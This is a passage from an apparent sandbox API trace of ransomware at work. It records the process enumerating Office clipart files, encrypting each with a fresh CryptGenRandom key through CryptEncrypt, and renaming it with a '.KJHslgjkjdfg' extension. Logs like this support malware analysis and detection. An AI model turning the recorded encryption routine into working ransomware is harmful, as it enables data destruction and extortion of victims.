Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.kjhslgjkjdfg")) returned 1 [0194.390] CloseHandle (hObject=0x130) returned 1 [0194.391] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0194.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.391] GetProcessHeap () returned 0x990000 [0194.391] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.391] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.392] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0194.394] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.394] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.394] GetProcessHeap () returned 0x990000 [0194.394] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.394] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.394] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.394] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.394] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.394] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.394] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.395] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.395] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.395] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.395] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x955d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x955d, lpOverlapped=0x0) returned 1 [0194.396] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9560, dwBufLen=0x9560 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9560) returned 1 [0194.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.396] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9560, lpOverlapped=0x0) returned 1 [0194.397] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.397] SetEndOfFile (hFile=0x130) returned 1 [0194.399] GetProcessHeap () returned 0x990000 [0194.399] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.399] GetProcessHeap () returned 0x990000 [0194.399] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.kjhslgjkjdfg")) returned 1 [0194.400] CloseHandle (hObject=0x130) returned 1 [0194.400] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0194.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.402] GetProcessHeap () returned 0x990000 [0194.402] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.402] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.402] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0194.404] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.404] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.404] GetProcessHeap () returned 0x990000 [0194.404] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.404] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.404] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.404] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.404] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.404] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.404] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.404] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.405] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.405] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.405] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6b01, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6b01, lpOverlapped=0x0) returned 1 [0194.406] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6b10) returned 1 [0194.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.406] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6b10, lpOverlapped=0x0) returned 1 [0194.406] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.406] SetEndOfFile (hFile=0x130) returned 1 [0194.407] GetProcessHeap () returned 0x990000 [0194.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.407] GetProcessHeap () returned 0x990000 [0194.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.kjhslgjkjdfg")) returned 1 [0194.408] CloseHandle (hObject=0x130) returned 1 [0194.408] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0194.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.410] GetProcessHeap () returned 0x990000 [0194.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.410] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.410] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0194.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.412] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.412] GetProcessHeap () returned 0x990000 [0194.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.412] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.412] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.412] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.413] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.413] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.413] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfd22, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfd22, lpOverlapped=0x0) returned 1 [0194.416] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfd30, dwBufLen=0xfd30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfd30) returned 1 [0194.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.417] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xfd30, lpOverlapped=0x0) returned 1 [0194.417] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.417] SetEndOfFile (hFile=0x130) returned 1 [0194.420] GetProcessHeap () returned 0x990000 [0194.420] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.420] GetProcessHeap () returned 0x990000 [0194.420] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.kjhslgjkjdfg")) returned 1 [0194.421] CloseHandle (hObject=0x130) returned 1 [0194.421] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0194.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.422] GetProcessHeap () returned 0x990000 [0194.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.422] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.424] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.424] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.424] GetProcessHeap () returned 0x990000 [0194.424] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.424] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.424] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.424] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.425] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.425] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.425] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.425] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.425] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb544, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb544, lpOverlapped=0x0) returned 1 [0194.426] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb550, dwBufLen=0xb550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb550) returned 1 [0194.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.427] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb550, lpOverlapped=0x0) returned 1 [0194.427] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.427] SetEndOfFile (hFile=0x130) returned 1 [0194.428] GetProcessHeap () returned 0x990000 [0194.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.428] GetProcessHeap () returned 0x990000 [0194.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.kjhslgjkjdfg")) returned 1 [0194.430] CloseHandle (hObject=0x130) returned 1 [0194.430] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0194.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.430] GetProcessHeap () returned 0x990000 [0194.430] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.431] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.431] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, 